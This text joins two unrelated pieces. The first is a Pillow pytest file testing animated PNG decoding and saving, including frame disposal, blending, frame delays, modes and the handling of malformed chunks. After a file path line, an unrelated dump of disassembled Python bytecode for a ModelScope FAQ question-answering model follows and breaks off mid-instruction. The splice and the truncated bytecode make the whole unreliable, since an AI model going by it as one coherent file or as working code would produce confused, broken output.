Image.open("Tests/images/apng/dispose_op_background.png") as im: im.seek(im.n_frames - 1) assert im.getpixel((0, 0)) == (0, 0, 0, 0) assert im.getpixel((64, 32)) == (0, 0, 0, 0) with Image.open("Tests/images/apng/dispose_op_background_final.png") as im: im.seek(im.n_frames - 1) assert im.getpixel((0, 0)) == (0, 255, 0, 255) assert im.getpixel((64, 32)) == (0, 255, 0, 255) with Image.open("Tests/images/apng/dispose_op_previous.png") as im: im.seek(im.n_frames - 1) assert im.getpixel((0, 0)) == (0, 255, 0, 255) assert im.getpixel((64, 32)) == (0, 255, 0, 255) with Image.open("Tests/images/apng/dispose_op_previous_final.png") as im: im.seek(im.n_frames - 1) assert im.getpixel((0, 0)) == (0, 255, 0, 255) assert im.getpixel((64, 32)) == (0, 255, 0, 255) with Image.open("Tests/images/apng/dispose_op_previous_first.png") as im: im.seek(im.n_frames - 1) assert im.getpixel((0, 0)) == (0, 0, 0, 0) assert im.getpixel((64, 32)) == (0, 0, 0, 0) def test_apng_dispose_region(): with Image.open("Tests/images/apng/dispose_op_none_region.png") as im: im.seek(im.n_frames - 1) assert im.getpixel((0, 0)) == (0, 255, 0, 255) assert im.getpixel((64, 32)) == (0, 255, 0, 255) with Image.open("Tests/images/apng/dispose_op_background_before_region.png") as im: im.seek(im.n_frames - 1) assert im.getpixel((0, 0)) == (0, 0, 0, 0) assert im.getpixel((64, 32)) == (0, 0, 0, 0) with Image.open("Tests/images/apng/dispose_op_background_region.png") as im: im.seek(im.n_frames - 1) assert im.getpixel((0, 0)) == (0, 0, 255, 255) assert im.getpixel((64, 32)) == (0, 0, 0, 0) with Image.open("Tests/images/apng/dispose_op_previous_region.png") as im: im.seek(im.n_frames - 1) assert im.getpixel((0, 0)) == (0, 255, 0, 255) assert im.getpixel((64, 32)) == (0, 255, 0, 255) def test_apng_dispose_op_previous_frame(): with Image.open("Tests/images/apng/dispose_op_previous_frame.png") as im: im.seek(im.n_frames - 1) assert im.getpixel((0, 0)) == (255, 0, 0, 255) def test_apng_dispose_op_background_p_mode(): with Image.open("Tests/images/apng/dispose_op_background_p_mode.png") as im: im.seek(1) im.load() assert im.size == (128, 64) def test_apng_blend(): with Image.open("Tests/images/apng/blend_op_source_solid.png") as im: im.seek(im.n_frames - 1) assert im.getpixel((0, 0)) == (0, 255, 0, 255) assert im.getpixel((64, 32)) == (0, 255, 0, 255) with Image.open("Tests/images/apng/blend_op_source_transparent.png") as im: im.seek(im.n_frames - 1) assert im.getpixel((0, 0)) == (0, 0, 0, 0) assert im.getpixel((64, 32)) == (0, 0, 0, 0) with Image.open("Tests/images/apng/blend_op_source_near_transparent.png") as im: im.seek(im.n_frames - 1) assert im.getpixel((0, 0)) == (0, 255, 0, 2) assert im.getpixel((64, 32)) == (0, 255, 0, 2) with Image.open("Tests/images/apng/blend_op_over.png") as im: im.seek(im.n_frames - 1) assert im.getpixel((0, 0)) == (0, 255, 0, 255) assert im.getpixel((64, 32)) == (0, 255, 0, 255) with Image.open("Tests/images/apng/blend_op_over_near_transparent.png") as im: im.seek(im.n_frames - 1) assert im.getpixel((0, 0)) == (0, 255, 0, 97) assert im.getpixel((64, 32)) == (0, 255, 0, 255) def test_apng_blend_transparency(): with Image.open("Tests/images/blend_transparency.png") as im: im.seek(1) assert im.getpixel((0, 0)) == (255, 0, 0) def test_apng_chunk_order(): with Image.open("Tests/images/apng/fctl_actl.png") as im: im.seek(im.n_frames - 1) assert im.getpixel((0, 0)) == (0, 255, 0, 255) assert im.getpixel((64, 32)) == (0, 255, 0, 255) def test_apng_delay(): with Image.open("Tests/images/apng/delay.png") as im: im.seek(1) assert im.info.get("duration") == 500.0 im.seek(2) assert im.info.get("duration") == 1000.0 im.seek(3) assert im.info.get("duration") == 500.0 im.seek(4) assert im.info.get("duration") == 1000.0 with Image.open("Tests/images/apng/delay_round.png") as im: im.seek(1) assert im.info.get("duration") == 500.0 im.seek(2) assert im.info.get("duration") == 1000.0 with Image.open("Tests/images/apng/delay_short_max.png") as im: im.seek(1) assert im.info.get("duration") == 500.0 im.seek(2) assert im.info.get("duration") == 1000.0 with Image.open("Tests/images/apng/delay_zero_denom.png") as im: im.seek(1) assert im.info.get("duration") == 500.0 im.seek(2) assert im.info.get("duration") == 1000.0 with Image.open("Tests/images/apng/delay_zero_numer.png") as im: im.seek(1) assert im.info.get("duration") == 0.0 im.seek(2) assert im.info.get("duration") == 0.0 im.seek(3) assert im.info.get("duration") == 500.0 im.seek(4) assert im.info.get("duration") == 1000.0 def test_apng_num_plays(): with Image.open("Tests/images/apng/num_plays.png") as im: assert im.info.get("loop") == 0 with Image.open("Tests/images/apng/num_plays_1.png") as im: assert im.info.get("loop") == 1 def test_apng_mode(): with Image.open("Tests/images/apng/mode_16bit.png") as im: assert im.mode == "RGBA" im.seek(im.n_frames - 1) assert im.getpixel((0, 0)) == (0, 0, 128, 191) assert im.getpixel((64, 32)) == (0, 0, 128, 191) with Image.open("Tests/images/apng/mode_grayscale.png") as im: assert im.mode == "L" im.seek(im.n_frames - 1) assert im.getpixel((0, 0)) == 128 assert im.getpixel((64, 32)) == 255 with Image.open("Tests/images/apng/mode_grayscale_alpha.png") as im: assert im.mode == "LA" im.seek(im.n_frames - 1) assert im.getpixel((0, 0)) == (128, 191) assert im.getpixel((64, 32)) == (128, 191) with Image.open("Tests/images/apng/mode_palette.png") as im: assert im.mode == "P" im.seek(im.n_frames - 1) im = im.convert("RGB") assert im.getpixel((0, 0)) == (0, 255, 0) assert im.getpixel((64, 32)) == (0, 255, 0) with Image.open("Tests/images/apng/mode_palette_alpha.png") as im: assert im.mode == "P" im.seek(im.n_frames - 1) im = im.convert("RGBA") assert im.getpixel((0, 0)) == (255, 0, 0, 0) assert im.getpixel((64, 32)) == (255, 0, 0, 0) with Image.open("Tests/images/apng/mode_palette_1bit_alpha.png") as im: assert im.mode == "P" im.seek(im.n_frames - 1) im = im.convert("RGBA") assert im.getpixel((0, 0)) == (0, 0, 255, 128) assert im.getpixel((64, 32)) == (0, 0, 255, 128) def test_apng_chunk_errors(): with Image.open("Tests/images/apng/chunk_no_actl.png") as im: assert not im.is_animated with pytest.warns(UserWarning): with Image.open("Tests/images/apng/chunk_multi_actl.png") as im: im.load() assert not im.is_animated with Image.open("Tests/images/apng/chunk_actl_after_idat.png") as im: assert not im.is_animated with Image.open("Tests/images/apng/chunk_no_fctl.png") as im: with pytest.raises(SyntaxError): im.seek(im.n_frames - 1) with Image.open("Tests/images/apng/chunk_repeat_fctl.png") as im: with pytest.raises(SyntaxError): im.seek(im.n_frames - 1) with Image.open("Tests/images/apng/chunk_no_fdat.png") as im: with pytest.raises(SyntaxError): im.seek(im.n_frames - 1) def test_apng_syntax_errors(): with pytest.warns(UserWarning): with Image.open("Tests/images/apng/syntax_num_frames_zero.png") as im: assert not im.is_animated with pytest.raises(OSError): im.load() with pytest.warns(UserWarning): with Image.open("Tests/images/apng/syntax_num_frames_zero_default.png") as im: assert not im.is_animated im.load() exception = None with Image.open("Tests/images/apng/syntax_num_frames_low.png") as im: try: im.seek(im.n_frames - 1) except Exception as e: exception = e assert exception is None with pytest.raises(OSError): with Image.open("Tests/images/apng/syntax_num_frames_high.png") as im: im.seek(im.n_frames - 1) im.load() with pytest.warns(UserWarning): with Image.open("Tests/images/apng/syntax_num_frames_invalid.png") as im: assert not im.is_animated im.load() @pytest.mark.parametrize( "test_file", ( "sequence_start.png", "sequence_gap.png", "sequence_repeat.png", "sequence_repeat_chunk.png", "sequence_reorder.png", "sequence_reorder_chunk.png", "sequence_fdat_fctl.png", ), ) def test_apng_sequence_errors(test_file): with pytest.raises(SyntaxError): with Image.open(f"Tests/images/apng/{test_file}") as im: im.seek(im.n_frames - 1) im.load() def test_apng_save(tmp_path): with Image.open("Tests/images/apng/single_frame.png") as im: test_file = str(tmp_path / "temp.png") im.save(test_file, save_all=True) with Image.open(test_file) as im: im.load() assert not im.is_animated assert im.n_frames == 1 assert im.get_format_mimetype() == "image/png" assert im.info.get("default_image") is None assert im.getpixel((0, 0)) == (0, 255, 0, 255) assert im.getpixel((64, 32)) == (0, 255, 0, 255) with Image.open("Tests/images/apng/single_frame_default.png") as im: frames = [frame_im.copy() for frame_im in ImageSequence.Iterator(im)] frames[0].save( test_file, save_all=True, default_image=True, append_images=frames[1:] ) with Image.open(test_file) as im: im.load() assert im.is_animated assert im.n_frames == 2 assert im.get_format_mimetype() == "image/apng" assert im.info.get("default_image") im.seek(1) assert im.getpixel((0, 0)) == (0, 255, 0, 255) assert im.getpixel((64, 32)) == (0, 255, 0, 255) def test_apng_save_alpha(tmp_path): test_file = str(tmp_path / "temp.png") im = Image.new("RGBA", (1, 1), (255, 0, 0, 255)) im2 = Image.new("RGBA", (1, 1), (255, 0, 0, 127)) im.save(test_file, save_all=True, append_images=[im2]) with Image.open(test_file) as reloaded: assert reloaded.getpixel((0, 0)) == (255, 0, 0, 255) reloaded.seek(1) assert reloaded.getpixel((0, 0)) == (255, 0, 0, 127) def test_apng_save_split_fdat(tmp_path): test_file = str(tmp_path / "temp.png") with Image.open("Tests/images/old-style-jpeg-compression.png") as im: frames = [im.copy(), Image.new("RGBA", im.size, (255, 0, 0, 255))] im.save( test_file, save_all=True, default_image=True, append_images=frames, ) with Image.open(test_file) as im: exception = None try: im.seek(im.n_frames - 1) im.load() except Exception as e: exception = e assert exception is None def test_apng_save_duration_loop(tmp_path): test_file = str(tmp_path / "temp.png") with Image.open("Tests/images/apng/delay.png") as im: frames = [] durations = [] loop = im.info.get("loop") default_image = im.info.get("default_image") for i, frame_im in enumerate(ImageSequence.Iterator(im)): frames.append(frame_im.copy()) if i != 0 or not default_image: durations.append(frame_im.info.get("duration", 0)) frames[0].save( test_file, save_all=True, default_image=default_image, append_images=frames[1:], duration=durations, loop=loop, ) with Image.open(test_file) as im: im.load() assert im.info.get("loop") == loop im.seek(1) assert im.info.get("duration") == 500.0 im.seek(2) assert im.info.get("duration") == 1000.0 im.seek(3) assert im.info.get("duration") == 500.0 im.seek(4) assert im.info.get("duration") == 1000.0 frame = Image.new("RGBA", (128, 64), (255, 0, 0, 255)) frame.save( test_file, save_all=True, append_images=[frame, frame], duration=[500, 100, 150] ) with Image.open(test_file) as im: assert im.n_frames == 1 assert "duration" not in im.info different_frame = Image.new("RGBA", (128, 64)) frame.save( test_file, save_all=True, append_images=[frame, different_frame], duration=[500, 100, 150], ) with Image.open(test_file) as im: assert im.n_frames == 2 assert im.info["duration"] == 600 im.seek(1) assert im.info["duration"] == 150 frame.info["duration"] = 300 frame.save(test_file, save_all=True, append_images=[frame, different_frame]) with Image.open(test_file) as im: assert im.n_frames == 2 assert im.info["duration"] == 600 def test_apng_save_disposal(tmp_path): test_file = str(tmp_path / "temp.png") size = (128, 64) red = Image.new("RGBA", size, (255, 0, 0, 255)) green = Image.new("RGBA", size, (0, 255, 0, 255)) transparent = Image.new("RGBA", size, (0, 0, 0, 0)) red.save( test_file, save_all=True, append_images=[green, transparent], disposal=PngImagePlugin.Disposal.OP_NONE, blend=PngImagePlugin.Blend.OP_OVER, ) with Image.open(test_file) as im: im.seek(2) assert im.getpixel((0, 0)) == (0, 255, 0, 255) assert im.getpixel((64, 32)) == (0, 255, 0, 255) disposal = [ PngImagePlugin.Disposal.OP_NONE, PngImagePlugin.Disposal.OP_BACKGROUND, PngImagePlugin.Disposal.OP_NONE, ] red.save( test_file, save_all=True, append_images=[red, transparent], disposal=disposal, blend=PngImagePlugin.Blend.OP_OVER, ) with Image.open(test_file) as im: im.seek(2) assert im.getpixel((0, 0)) == (0, 0, 0, 0) assert im.getpixel((64, 32)) == (0, 0, 0, 0) disposal = [ PngImagePlugin.Disposal.OP_NONE, PngImagePlugin.Disposal.OP_BACKGROUND, ] red.save( test_file, save_all=True, append_images=[green], disposal=disposal, blend=PngImagePlugin.Blend.OP_OVER, ) with Image.open(test_file) as im: im.seek(1) assert im.getpixel((0, 0)) == (0, 255, 0, 255) assert im.getpixel((64, 32)) == (0, 255, 0, 255) disposal = [ PngImagePlugin.Disposal.OP_NONE, PngImagePlugin.Disposal.OP_PREVIOUS, PngImagePlugin.Disposal.OP_NONE, ] red.save( test_file, save_all=True, append_images=[green, red, transparent], default_image=True, disposal=disposal, blend=PngImagePlugin.Blend.OP_OVER, ) with Image.open(test_file) as im: im.seek(3) assert im.getpixel((0, 0)) == (0, 255, 0, 255) assert im.getpixel((64, 32)) == (0, 255, 0, 255) disposal = [ PngImagePlugin.Disposal.OP_NONE, PngImagePlugin.Disposal.OP_PREVIOUS, ] red.save( test_file, save_all=True, append_images=[green], disposal=disposal, blend=PngImagePlugin.Blend.OP_OVER, ) with Image.open(test_file) as im: im.seek(1) assert im.getpixel((0, 0)) == (0, 255, 0, 255) assert im.getpixel((64, 32)) == (0, 255, 0, 255) red.info["disposal"] = PngImagePlugin.Disposal.OP_BACKGROUND red.save( test_file, save_all=True, append_images=[Image.new("RGBA", (10, 10), (0, 255, 0, 255))], ) with Image.open(test_file) as im: im.seek(1) assert im.getpixel((64, 32)) == (0, 0, 0, 0) def test_apng_save_disposal_previous(tmp_path): test_file = str(tmp_path / "temp.png") size = (128, 64) blue = Image.new("RGBA", size, (0, 0, 255, 255)) red = Image.new("RGBA", size, (255, 0, 0, 255)) green = Image.new("RGBA", size, (0, 255, 0, 255)) blue.save( test_file, save_all=True, append_images=[red, green], disposal=PngImagePlugin.Disposal.OP_PREVIOUS, ) with Image.open(test_file) as im: assert im.getpixel((0, 0)) == (0, 0, 255, 255) im.seek(2) assert im.getpixel((0, 0)) == (0, 255, 0, 255) assert im.getpixel((64, 32)) == (0, 255, 0, 255) def test_apng_save_blend(tmp_path): test_file = str(tmp_path / "temp.png") size = (128, 64) red = Image.new("RGBA", size, (255, 0, 0, 255)) green = Image.new("RGBA", size, (0, 255, 0, 255)) transparent = Image.new("RGBA", size, (0, 0, 0, 0)) blend = [ PngImagePlugin.Blend.OP_OVER, PngImagePlugin.Blend.OP_SOURCE, ] red.save( test_file, save_all=True, append_images=[red, green], default_image=True, disposal=PngImagePlugin.Disposal.OP_NONE, blend=blend, ) with Image.open(test_file) as im: im.seek(2) assert im.getpixel((0, 0)) == (0, 255, 0, 255) assert im.getpixel((64, 32)) == (0, 255, 0, 255) blend = [ PngImagePlugin.Blend.OP_OVER, PngImagePlugin.Blend.OP_SOURCE, ] red.save( test_file, save_all=True, append_images=[red, transparent], default_image=True, disposal=PngImagePlugin.Disposal.OP_NONE, blend=blend, ) with Image.open(test_file) as im: im.seek(2) assert im.getpixel((0, 0)) == (0, 0, 0, 0) assert im.getpixel((64, 32)) == (0, 0, 0, 0) red.save( test_file, save_all=True, append_images=[green, transparent], default_image=True, disposal=PngImagePlugin.Disposal.OP_NONE, blend=PngImagePlugin.Blend.OP_OVER, ) with Image.open(test_file) as im: im.seek(1) assert im.getpixel((0, 0)) == (0, 255, 0, 255) assert im.getpixel((64, 32)) == (0, 255, 0, 255) im.seek(2) assert im.getpixel((0, 0)) == (0, 255, 0, 255) assert im.getpixel((64, 32)) == (0, 255, 0, 255) red.info["blend"] = PngImagePlugin.Blend.OP_OVER red.save(test_file, save_all=True, append_images=[green, transparent]) with Image.open(test_file) as im: im.seek(2) assert im.getpixel((0, 0)) == (0, 255, 0, 255) def test_seek_after_close(): im = Image.open("Tests/images/apng/delay.png") im.seek(1) im.close() with pytest.raises(ValueError): im.seek(0) @pytest.mark.parametrize("mode", ("RGBA", "RGB", "P")) @pytest.mark.parametrize("default_image", (True, False)) @pytest.mark.parametrize("duplicate", (True, False)) def test_different_modes_in_later_frames(mode, default_image, duplicate, tmp_path): test_file = str(tmp_path / "temp.png") im = Image.new("L", (1, 1)) im.save( test_file, save_all=True, default_image=default_image, append_images=[im.convert(mode) if duplicate else Image.new(mode, (1, 1), 1)], ) with Image.open(test_file) as reloaded: assert reloaded.mode == mode
data/pillow-10.2.0/Tests/test_file_apng.py
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9,003
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LOAD_CONST 0 LOAD_CONST None IMPORT_NAME math STORE_NAME math LOAD_CONST 0 LOAD_CONST None IMPORT_NAME os STORE_NAME os LOAD_CONST 0 LOAD_CONST ('namedtuple',) IMPORT_NAME collections IMPORT_FROM namedtuple STORE_NAME namedtuple POP_TOP LOAD_CONST 0 LOAD_CONST ('Dict',) IMPORT_NAME typing IMPORT_FROM Dict STORE_NAME Dict POP_TOP LOAD_CONST 0 LOAD_CONST None IMPORT_NAME torch STORE_NAME torch LOAD_CONST 0 LOAD_CONST None IMPORT_NAME torch.nn IMPORT_FROM nn STORE_NAME nn POP_TOP LOAD_CONST 0 LOAD_CONST None IMPORT_NAME torch.nn.functional IMPORT_FROM nn ROT_TWO POP_TOP IMPORT_FROM functional STORE_NAME F POP_TOP LOAD_CONST 0 LOAD_CONST ('Tensor',) IMPORT_NAME torch IMPORT_FROM Tensor STORE_NAME Tensor POP_TOP LOAD_CONST 0 LOAD_CONST ('BCEWithLogitsLoss',) IMPORT_NAME torch.nn IMPORT_FROM BCEWithLogitsLoss STORE_NAME BCEWithLogitsLoss POP_TOP LOAD_CONST 0 LOAD_CONST ('Models',) IMPORT_NAME modelscope.metainfo IMPORT_FROM Models STORE_NAME Models POP_TOP LOAD_CONST 0 LOAD_CONST ('MODELS',) IMPORT_NAME modelscope.models.builder IMPORT_FROM MODELS STORE_NAME MODELS POP_TOP LOAD_CONST 0 LOAD_CONST ('SbertConfig', 'SbertModel') IMPORT_NAME modelscope.models.nlp.structbert IMPORT_FROM SbertConfig STORE_NAME SbertConfig IMPORT_FROM SbertModel STORE_NAME SbertModel POP_TOP LOAD_CONST 0 LOAD_CONST ('BaseTaskModel',) IMPORT_NAME modelscope.models.nlp.task_models.task_model IMPORT_FROM BaseTaskModel STORE_NAME BaseTaskModel POP_TOP LOAD_CONST 0 LOAD_CONST ('FaqQuestionAnsweringOutput',) IMPORT_NAME modelscope.outputs IMPORT_FROM FaqQuestionAnsweringOutput STORE_NAME FaqQuestionAnsweringOutput POP_TOP LOAD_CONST 0 LOAD_CONST ('Config', 'ConfigFields') IMPORT_NAME modelscope.utils.config IMPORT_FROM Config STORE_NAME Config IMPORT_FROM ConfigFields STORE_NAME ConfigFields POP_TOP LOAD_CONST 0 LOAD_CONST ('ModelFile', 'Tasks') IMPORT_NAME modelscope.utils.constant IMPORT_FROM ModelFile STORE_NAME ModelFile IMPORT_FROM Tasks STORE_NAME Tasks POP_TOP LOAD_CONST 0 LOAD_CONST ('get_logger',) IMPORT_NAME modelscope.utils.logger IMPORT_FROM get_logger STORE_NAME get_logger POP_TOP LOAD_NAME get_logger CALL_FUNCTION STORE_NAME logger LOAD_NAME F LOAD_ATTR relu LOAD_NAME torch LOAD_ATTR tanh LOAD_CONST <code object <lambda> at 0x7fab823b25d0, file "f.py", line 26> LOAD_CONST '<lambda>' MAKE_FUNCTION LOAD_CONST ('relu', 'tanh', 'linear') BUILD_CONST_KEY_MAP STORE_NAME activations LOAD_NAME math LOAD_METHOD sqrt LOAD_CONST 2 CALL_METHOD LOAD_CONST 1.6666666666666667 LOAD_CONST 1.0 LOAD_CONST ('relu', 'tanh', 'linear') BUILD_CONST_KEY_MAP STORE_NAME activation_coeffs LOAD_BUILD_CLASS LOAD_CONST <code object LinearProjection at 0x7fab41faec00, file "f.py", line 36> LOAD_CONST 'LinearProjection' MAKE_FUNCTION LOAD_CONST 'LinearProjection' LOAD_NAME nn LOAD_ATTR Module CALL_FUNCTION STORE_NAME LinearProjection LOAD_BUILD_CLASS LOAD_CONST <code object RelationModule at 0x7fab41fae300, file "f.py", line 53> LOAD_CONST 'RelationModule' MAKE_FUNCTION LOAD_CONST 'RelationModule' LOAD_NAME nn LOAD_ATTR Module CALL_FUNCTION STORE_NAME RelationModule LOAD_BUILD_CLASS LOAD_CONST <code object MetricsLayer at 0x7fab41fae6f0, file "f.py", line 75> LOAD_CONST 'MetricsLayer' MAKE_FUNCTION LOAD_CONST 'MetricsLayer' LOAD_NAME nn LOAD_ATTR Module CALL_FUNCTION STORE_NAME MetricsLayer LOAD_BUILD_CLASS LOAD_CONST <code object AveragePooling at 0x7fab41fae4b0, file "f.py", line 107> LOAD_CONST 'AveragePooling' MAKE_FUNCTION LOAD_CONST 'AveragePooling' LOAD_NAME nn LOAD_ATTR Module CALL_FUNCTION STORE_NAME AveragePooling LOAD_BUILD_CLASS LOAD_CONST <code object AttnPooling at 0x7fab41faeed0, file "f.py", line 112> LOAD_CONST 'AttnPooling' MAKE_FUNCTION LOAD_CONST 'AttnPooling' LOAD_NAME nn LOAD_ATTR Module CALL_FUNCTION STORE_NAME AttnPooling LOAD_BUILD_CLASS LOAD_CONST <code object PoolingLayer at 0x7fae2f3ebc90, file "f.py", line 132> LOAD_CONST 'PoolingLayer' MAKE_FUNCTION LOAD_CONST 'PoolingLayer' LOAD_NAME nn LOAD_ATTR Module CALL_FUNCTION STORE_NAME PoolingLayer LOAD_BUILD_CLASS LOAD_CONST <code object Alignment at 0x7fae2f3ebb70, file "f.py", line 148> LOAD_CONST 'Alignment' MAKE_FUNCTION LOAD_CONST 'Alignment' LOAD_NAME nn LOAD_ATTR Module CALL_FUNCTION STORE_NAME Alignment LOAD_CONST <code object _create_args at 0x7fae2f3ebe40, file "f.py", line 163> LOAD_CONST '_create_args' MAKE_FUNCTION STORE_NAME _create_args LOAD_NAME MODELS LOAD_ATTR register_module LOAD_NAME Tasks LOAD_ATTR faq_question_answering LOAD_NAME Models LOAD_ATTR structbert LOAD_CONST ('module_name',) CALL_FUNCTION LOAD_BUILD_CLASS LOAD_CONST <code object SbertForFaqQuestionAnswering at 0x7fab41c26ae0, file "f.py", line 179> LOAD_CONST 'SbertForFaqQuestionAnswering' MAKE_FUNCTION LOAD_CONST 'SbertForFaqQuestionAnswering' LOAD_NAME BaseTaskModel CALL_FUNCTION CALL_FUNCTION STORE_NAME SbertForFaqQuestionAnswering LOAD_CONST <code object get_onehot_labels at 0x7fab41c260c0, file "f.py", line 321> LOAD_CONST 'get_onehot_labels' MAKE_FUNCTION STORE_NAME get_onehot_labels LOAD_BUILD_CLASS LOAD_CONST <code object ProtoNet at 0x7fab41c26150, file "f.py", line 329> LOAD_CONST 'ProtoNet' MAKE_FUNCTION LOAD_CONST 'ProtoNet' LOAD_NAME nn LOAD_ATTR Module CALL_FUNCTION STORE_NAME ProtoNet LOAD_BUILD_CLASS LOAD_CONST <code object MGIMNNet at 0x7fab423bddb0, file "f.py", line 378> LOAD_CONST 'MGIMNNet' MAKE_FUNCTION LOAD_CONST 'MGIMNNet' LOAD_NAME nn LOAD_ATTR Module CALL_FUNCTION STORE_NAME MGIMNNet LOAD_CONST None RETURN_VALUE LOAD_FAST x RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'LinearProjection' STORE_NAME __qualname__ LOAD_CONST ('linear', True) LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab41faeae0, file "f.py", line 37> LOAD_CONST 'LinearProjection.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST <code object forward at 0x7fab41fae9c0, file "f.py", line 49> LOAD_CONST 'LinearProjection.forward' MAKE_FUNCTION STORE_NAME forward LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ CALL_METHOD POP_TOP LOAD_GLOBAL activations LOAD_FAST activation BINARY_SUBSCR LOAD_FAST self STORE_ATTR activation LOAD_GLOBAL activation_coeffs LOAD_FAST activation BINARY_SUBSCR STORE_FAST activation_coeff LOAD_GLOBAL nn LOAD_ATTR Linear LOAD_FAST in_features LOAD_FAST out_features LOAD_FAST bias LOAD_CONST ('bias',) CALL_FUNCTION STORE_FAST linear LOAD_GLOBAL nn LOAD_ATTR init LOAD_ATTR normal_ LOAD_FAST linear LOAD_ATTR weight LOAD_GLOBAL math LOAD_METHOD sqrt LOAD_CONST 1.0 LOAD_FAST in_features BINARY_TRUE_DIVIDE CALL_METHOD LOAD_FAST activation_coeff BINARY_MULTIPLY LOAD_CONST ('std',) CALL_FUNCTION POP_TOP LOAD_FAST bias POP_JUMP_IF_FALSE LOAD_GLOBAL nn LOAD_ATTR init LOAD_METHOD zeros_ LOAD_FAST linear LOAD_ATTR bias CALL_METHOD POP_TOP LOAD_GLOBAL nn LOAD_ATTR utils LOAD_METHOD weight_norm LOAD_FAST linear CALL_METHOD LOAD_FAST self STORE_ATTR model LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD activation LOAD_FAST self LOAD_METHOD model LOAD_FAST x CALL_METHOD CALL_METHOD RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'RelationModule' STORE_NAME __qualname__ LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab41fae150, file "f.py", line 54> LOAD_CONST 'RelationModule.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST <code object forward at 0x7fab41fae780, file "f.py", line 63> LOAD_CONST 'RelationModule.forward' MAKE_FUNCTION STORE_NAME forward LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super LOAD_GLOBAL RelationModule LOAD_FAST self CALL_FUNCTION LOAD_METHOD __init__ CALL_METHOD POP_TOP LOAD_FAST args LOAD_ATTR proj_hidden_size LOAD_CONST 4 BINARY_MULTIPLY STORE_FAST input_size LOAD_GLOBAL torch LOAD_ATTR nn LOAD_METHOD Sequential LOAD_GLOBAL LinearProjection LOAD_FAST input_size LOAD_FAST args LOAD_ATTR proj_hidden_size LOAD_CONST 4 BINARY_MULTIPLY LOAD_CONST 'relu' LOAD_CONST ('activation',) CALL_FUNCTION LOAD_GLOBAL nn LOAD_METHOD Dropout LOAD_FAST args LOAD_ATTR dropout CALL_METHOD LOAD_GLOBAL LinearProjection LOAD_FAST args LOAD_ATTR proj_hidden_size LOAD_CONST 4 BINARY_MULTIPLY LOAD_CONST 1 CALL_FUNCTION CALL_METHOD LOAD_FAST self STORE_ATTR prediction LOAD_CONST None RETURN_VALUE LOAD_FAST protos LOAD_ATTR shape LOAD_CONST 0 BINARY_SUBSCR STORE_FAST n_cls LOAD_FAST query LOAD_ATTR shape LOAD_CONST 0 BINARY_SUBSCR STORE_FAST n_query LOAD_FAST protos LOAD_METHOD unsqueeze LOAD_CONST 0 CALL_METHOD LOAD_METHOD repeat LOAD_FAST n_query LOAD_CONST 1 LOAD_CONST 1 CALL_METHOD STORE_FAST protos LOAD_FAST query LOAD_METHOD unsqueeze LOAD_CONST 1 CALL_METHOD LOAD_METHOD repeat LOAD_CONST 1 LOAD_FAST n_cls LOAD_CONST 1 CALL_METHOD STORE_FAST query LOAD_GLOBAL torch LOAD_ATTR cat LOAD_FAST query LOAD_FAST protos LOAD_FAST protos LOAD_FAST query BINARY_SUBTRACT LOAD_METHOD abs CALL_METHOD LOAD_FAST query LOAD_FAST protos BINARY_MULTIPLY BUILD_LIST LOAD_CONST -1 LOAD_CONST ('dim',) CALL_FUNCTION STORE_FAST input_feat LOAD_FAST self LOAD_METHOD prediction LOAD_FAST input_feat CALL_METHOD STORE_FAST dists LOAD_FAST dists LOAD_METHOD squeeze LOAD_CONST -1 CALL_METHOD RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'MetricsLayer' STORE_NAME __qualname__ LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab41fae390, file "f.py", line 76> LOAD_CONST 'MetricsLayer.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_CONST <code object name at 0x7fab41faee40, file "f.py", line 83> LOAD_CONST 'MetricsLayer.name' MAKE_FUNCTION CALL_FUNCTION STORE_NAME name LOAD_CONST <code object forward at 0x7fab41fae810, file "f.py", line 87> LOAD_CONST 'MetricsLayer.forward' MAKE_FUNCTION STORE_NAME forward LOAD_CONST <code object cosine_similarity at 0x7fab41fae930, file "f.py", line 98> LOAD_CONST 'MetricsLayer.cosine_similarity' MAKE_FUNCTION STORE_NAME cosine_similarity LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super LOAD_GLOBAL MetricsLayer LOAD_FAST self CALL_FUNCTION LOAD_METHOD __init__ CALL_METHOD POP_TOP LOAD_FAST args LOAD_FAST self STORE_ATTR args LOAD_FAST args LOAD_ATTR metrics LOAD_CONST ('relation', 'cosine') COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST args LOAD_ATTR metrics LOAD_CONST 'relation' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL RelationModule LOAD_FAST args CALL_FUNCTION LOAD_FAST self STORE_ATTR relation_net LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR args LOAD_ATTR metrics RETURN_VALUE LOAD_FAST self LOAD_ATTR args LOAD_ATTR metrics LOAD_CONST 'cosine' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD cosine_similarity LOAD_FAST query LOAD_FAST protos CALL_METHOD STORE_FAST supervised_dists LOAD_FAST self LOAD_ATTR training POP_JUMP_IF_FALSE LOAD_FAST supervised_dists LOAD_CONST 5 INPLACE_MULTIPLY STORE_FAST supervised_dists JUMP_FORWARD to 70 LOAD_FAST self LOAD_ATTR args LOAD_ATTR metrics LOAD_CONST ('relation',) COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD relation_net LOAD_FAST query LOAD_FAST protos CALL_METHOD STORE_FAST supervised_dists JUMP_FORWARD to 70 LOAD_GLOBAL NotImplementedError 